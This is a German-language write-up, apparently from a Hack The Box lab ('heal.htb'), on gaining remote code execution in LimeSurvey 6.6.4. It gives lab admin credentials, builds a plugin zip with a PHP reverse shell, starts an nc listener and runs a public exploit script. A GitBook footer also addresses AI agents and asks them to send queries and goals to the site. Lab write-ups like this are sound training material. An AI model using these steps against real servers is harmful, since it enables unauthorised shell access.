> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/limesurvey-cms-exploitation.md).

# LimeSurvey

## Verwundbarkeit im LimeSurvey-CMS

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/8aeb2f88c3cc421a35f2f7954499f52103333196" alt=""><figcaption></figcaption></figure>

#### Zugriff auf den Admin-Bereich

Die Administrationsoberfläche ist unter der folgenden URL verfügbar:

`http://take-survey.heal.htb/index.php/admin`

Melden Sie sich mit Ralphs Zugangsdaten an:

* **Benutzername** : `ralph`
* **Passwort** : `147258369`

<figure><img src="/files/cdd15119c0a9e4b0b325ee0f68f2b850fc87278a" alt=""><figcaption></figcaption></figure>

Die LimeSurvey-Version ist **6.6.4**, die anfällig ist für **Remote Code Execution (RCE)**.

<figure><img src="/files/3110a1c44dc5a3a21d4a768dd212ba57e3bc6c55" alt="" width="563"><figcaption></figcaption></figure>

### RCE-Ausnutzung durch eine bösartige Erweiterung

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Passen Sie das Exploit-Skript an den Zielkontext an.

<figure><img src="/files/8c56eae56e6ae7dd2d465dcb52ea68ea791ff68c" alt=""><figcaption></figcaption></figure>

Erstellen Sie zunächst ein Archiv mit `config.xml` und einer PHP-Reverse-Shell:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/028b8023157c2d12fa9cf2770c4f8dd530c1512e" alt=""><figcaption></figcaption></figure>

Installieren Sie dann das bösartige Plugin über die LimeSurvey-Weboberfläche.

<figure><img src="/files/4dcc0c3a6ca3819a41a8f95365979fd5a1cc93a9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/863f89821abb907733d91f3b370ca40b14059ab3" alt="" width="501"><figcaption></figcaption></figure>

Bewegen Sie den Mauszeiger über das installierte Plugin, um die Plugin-ID zu ermitteln.

<figure><img src="/files/57793cbc1f5679c2dba8f863b433db0e74f62a11" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d36727e08d67feb08dce3ebfdd065bac142838a4" alt="" width="563"><figcaption></figcaption></figure>

Starten Sie nach dem Aktualisieren des Skripts mit dieser ID einen Listener auf Port 443:

```bash
nc -nlvp 443
```

Führen Sie schließlich den Exploit mit Python aus:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/005009fc2016a691fe5f53cdcf3d43c417e5cb3b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/cms/limesurvey-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
